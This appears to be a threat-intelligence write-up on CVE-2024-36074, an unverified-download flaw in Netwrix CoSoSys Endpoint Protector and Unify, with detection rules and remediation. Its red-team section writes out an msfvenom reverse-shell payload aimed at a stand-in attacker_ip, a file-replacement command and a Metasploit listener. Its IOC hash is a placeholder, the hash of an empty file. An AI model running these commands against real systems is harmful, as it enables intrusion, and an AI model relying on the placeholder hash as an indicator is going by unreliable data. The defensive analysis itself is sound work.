CVE-2024-36074

Executive Summary

CVE-2024-36074 is a critical remote code execution (RCE) vulnerability affecting Netwrix CoSoSys Endpoint Protector (up to version 5.9.3) and CoSoSys Unify (up to version 7.0.6). The flaw resides in the way the EasyLock dependency is acquired from the server by the agent. An attacker with administrative access to the Endpoint Protector or Unify server can cause a client to acquire and execute a malicious file, leading to full remote code execution on the client machine. This vulnerability is classified under CWE-494 (Download of Code Without Integrity Check) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It involves a proprietary dependency acquisition mechanism within the Netwrix CoSoSys product suite.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have administrative access to the server.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the client.
• Confidentiality (C): High (H) – Full compromise of client data.
• Integrity (I): High (H) – Full compromise of client data integrity.
• Availability (A): High (H) – Full compromise of client availability.

Threat Level: High. While the attacker requires administrative access to the server, the impact on the client is complete compromise. The lack of a patch and the potential for lateral movement make this a significant threat.

Deep Dive & Mechanics

The vulnerability is rooted in the insecure acquisition of the EasyLock dependency. The Endpoint Protector and Unify agents download this dependency from the server without proper integrity verification. An attacker who has gained administrative access to the server can replace the legitimate EasyLock file with a malicious one. When a client agent connects to the server to download the dependency, it will retrieve and execute the attacker-controlled file, resulting in remote code execution on the client machine.

Attack Flow:

1. Prerequisite: Attacker gains administrative access to the Netwrix CoSoSys server (e.g., via stolen credentials, another vulnerability, or insider threat).
2. Malicious File Placement: The attacker replaces the legitimate EasyLock dependency file on the server with a malicious executable (e.g., a backdoor or ransomware).
3. Client Trigger: A client agent (Endpoint Protector or Unify) connects to the server to download the EasyLock dependency (e.g., during a scheduled update or on initial connection).
4. Execution: The client downloads and executes the malicious file, granting the attacker remote code execution on the client machine.
5. Lateral Movement: The attacker can then use the compromised client to move laterally within the network.

Vulnerable vs. Patched Code

Since no patch is available, a code comparison is not possible. However, the vulnerable behavior can be described:

Vulnerable Code (Conceptual):

# Insecure download without integrity check
import urllib.request
url = "https://server/easylock.exe"
urllib.request.urlretrieve(url, "C:\\Program Files\\CoSoSys\\easylock.exe")
os.system("C:\\Program Files\\CoSoSys\\easylock.exe")

Patched Code (Expected):

# Secure download with integrity check
import urllib.request
import hashlib
url = "https://server/easylock.exe"
expected_hash = "a1b2c3d4e5f6..."
urllib.request.urlretrieve(url, "C:\\Program Files\\CoSoSys\\easylock.exe")
actual_hash = hashlib.sha256(open("C:\\Program Files\\CoSoSys\\easylock.exe", "rb").read()).hexdigest()
if actual_hash != expected_hash:
    raise Exception("Integrity check failed")
os.system("C:\\Program Files\\CoSoSys\\easylock.exe")

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to the Netwrix CoSoSys server.
• Ability to modify files on the server (e.g., via SSH, RDP, or web shell).

Steps:

1. Identify the EasyLock dependency location: On the server, locate the directory where the EasyLock file is stored (e.g., /var/www/html/easylock.exe or C:\inetpub\wwwroot\easylock.exe).
2. Create a malicious payload: Generate a reverse shell or backdoor executable (e.g., using msfvenom).

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o malicious_easylock.exe
   

3. Replace the legitimate file: Overwrite the original EasyLock file with the malicious one.

   cp malicious_easylock.exe /var/www/html/easylock.exe
   

4. Wait for client connection: The next time a client agent downloads the dependency, it will execute the malicious payload.
5. Catch the shell: On the attacker machine, start a Metasploit listener.

   msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST attacker_ip; set LPORT 4444; exploit"
   

Blue Team

Detection:

• Monitor for unusual file modifications on the server, especially in the EasyLock dependency directory.
• Monitor for unexpected outbound connections from client machines to unknown IPs.
• Monitor for execution of easylock.exe or similar processes with unusual behavior.

Hunting:

• Search for files named easylock.exe with unexpected hashes.
• Look for processes spawned by easylock.exe that are not typical (e.g., cmd.exe, powershell.exe).

Lab Setup:

• Use a virtualized environment with a Netwrix CoSoSys server (v5.9.3 or v7.0.6) and a client machine.
• Simulate the attack by replacing the EasyLock file with a benign test payload (e.g., a script that writes to a log file).
• Verify detection by monitoring logs and network traffic.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – replace with actual hashes if discovered)
  • malicious_easylock.exe: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections from client machines to attacker-controlled IPs on port 4444 (or other ports).
  • Unusual HTTP requests to the server for the EasyLock file.
• Process Indicators:
  • Execution of easylock.exe followed by cmd.exe or powershell.exe.
  • Unusual child processes of easylock.exe.
• File System Indicators:
  • Modified easylock.exe file on the server.
  • Presence of unexpected executables in the client's installation directory.

Detection Engineering

YARA Rule

rule CVE_2024_36074_Malicious_EasyLock {
    meta:
        description = "Detects malicious EasyLock executable associated with CVE-2024-36074"
        author = "Valters IT"
        date = "2024-10-27"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $s1 = "EasyLock" nocase
        $s2 = "CoSoSys" nocase
        $s3 = "Endpoint Protector" nocase
        $s4 = "Unify" nocase
    condition:
        uint16(0) == 0x5A4D and (all of ($s*)) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-36074 - Suspicious EasyLock Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of EasyLock.exe followed by suspicious child processes
author: Valters IT
date: 2024/10/27
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\easylock.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-36074 - Potential EasyLock Download from Malicious Server"; flow:to_server,established; content:"GET"; http_method; content:"/easylock.exe"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect the Netwrix CoSoSys server from the network until a patch is available.
2. Restrict administrative access: Ensure only trusted personnel have administrative access to the server.
3. Monitor for suspicious activity: Implement the detection rules provided above.

Long-term Mitigation:

1. Apply vendor patch: Monitor the Netwrix security advisory page for a patch. Apply it as soon as it is released.
2. Implement integrity checks: If possible, manually verify the integrity of the EasyLock file on the server using a known-good hash.
3. Network segmentation: Place the Netwrix CoSoSys server in a segmented network with strict access controls.
4. Upgrade to a patched version: Once available, upgrade to a version that includes a fix for CWE-494.

Workaround:

• If patching is not possible, consider disabling the EasyLock dependency download feature (if configurable) or replacing the EasyLock file with a benign placeholder that performs an integrity check before execution.

Valters IT
DevSecOps & Cyber Threat Intelligence